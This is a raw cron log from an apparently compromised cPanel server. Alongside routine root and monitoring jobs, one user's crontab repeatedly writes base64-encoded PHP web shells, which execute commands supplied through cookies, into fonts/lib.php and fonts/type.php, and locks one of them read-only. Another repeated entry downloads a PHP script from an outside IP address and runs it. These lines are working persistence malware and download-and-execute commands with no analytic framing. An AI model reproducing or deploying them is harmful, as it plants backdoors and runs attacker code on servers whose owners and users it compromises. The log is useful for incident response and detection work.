Sep  6 20:32:01 ip-184-168-122-23 CROND[25599]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 20:32:01 ip-184-168-122-23 CROND[25598]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 20:33:01 ip-184-168-122-23 CROND[25676]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:33:01 ip-184-168-122-23 CROND[25678]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 20:33:01 ip-184-168-122-23 CROND[25679]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:33:01 ip-184-168-122-23 CROND[25677]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 20:34:01 ip-184-168-122-23 CROND[25837]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 20:34:01 ip-184-168-122-23 CROND[25838]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:34:01 ip-184-168-122-23 CROND[25842]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:34:01 ip-184-168-122-23 CROND[25840]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 20:34:01 ip-184-168-122-23 CROND[25841]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 20:35:01 ip-184-168-122-23 CROND[25931]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 20:35:01 ip-184-168-122-23 CROND[25933]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:35:01 ip-184-168-122-23 CROND[25936]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 20:35:01 ip-184-168-122-23 CROND[25934]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 20:35:01 ip-184-168-122-23 CROND[25938]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:35:01 ip-184-168-122-23 CROND[25937]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 20:35:01 ip-184-168-122-23 CROND[25939]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 20:35:01 ip-184-168-122-23 CROND[25935]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  6 20:36:01 ip-184-168-122-23 CROND[26077]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 20:36:01 ip-184-168-122-23 CROND[26081]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 20:36:01 ip-184-168-122-23 CROND[26080]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:36:01 ip-184-168-122-23 CROND[26082]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 20:36:01 ip-184-168-122-23 CROND[26079]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:37:01 ip-184-168-122-23 CROND[26159]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:37:01 ip-184-168-122-23 CROND[26160]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 20:37:01 ip-184-168-122-23 CROND[26161]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:37:01 ip-184-168-122-23 CROND[26163]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 20:38:01 ip-184-168-122-23 CROND[26239]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 20:38:01 ip-184-168-122-23 CROND[26240]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:38:01 ip-184-168-122-23 CROND[26241]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 20:38:01 ip-184-168-122-23 CROND[26242]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 20:38:01 ip-184-168-122-23 CROND[26244]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:39:01 ip-184-168-122-23 CROND[26432]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:39:01 ip-184-168-122-23 CROND[26435]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 20:39:01 ip-184-168-122-23 CROND[26437]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 20:39:01 ip-184-168-122-23 CROND[26434]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:39:01 ip-184-168-122-23 CROND[26438]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 20:40:01 ip-184-168-122-23 CROND[26526]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:40:01 ip-184-168-122-23 CROND[26528]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 20:40:01 ip-184-168-122-23 CROND[26536]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 20:40:01 ip-184-168-122-23 CROND[26531]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 20:40:01 ip-184-168-122-23 CROND[26534]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 20:40:01 ip-184-168-122-23 CROND[26535]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 20:40:01 ip-184-168-122-23 CROND[26532]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:40:01 ip-184-168-122-23 CROND[26537]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 20:41:01 ip-184-168-122-23 CROND[26627]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 20:41:01 ip-184-168-122-23 CROND[26631]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:41:01 ip-184-168-122-23 CROND[26630]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 20:41:01 ip-184-168-122-23 CROND[26629]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:42:01 ip-184-168-122-23 CROND[26716]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 20:42:01 ip-184-168-122-23 CROND[26719]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:42:01 ip-184-168-122-23 CROND[26720]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 20:42:01 ip-184-168-122-23 CROND[26718]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:42:01 ip-184-168-122-23 CROND[26721]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 20:43:01 ip-184-168-122-23 CROND[26805]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 20:43:01 ip-184-168-122-23 CROND[26809]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 20:43:01 ip-184-168-122-23 CROND[26808]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:43:01 ip-184-168-122-23 CROND[26807]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:44:01 ip-184-168-122-23 CROND[26969]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 20:44:01 ip-184-168-122-23 CROND[26971]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:44:01 ip-184-168-122-23 CROND[26974]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:44:01 ip-184-168-122-23 CROND[26972]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
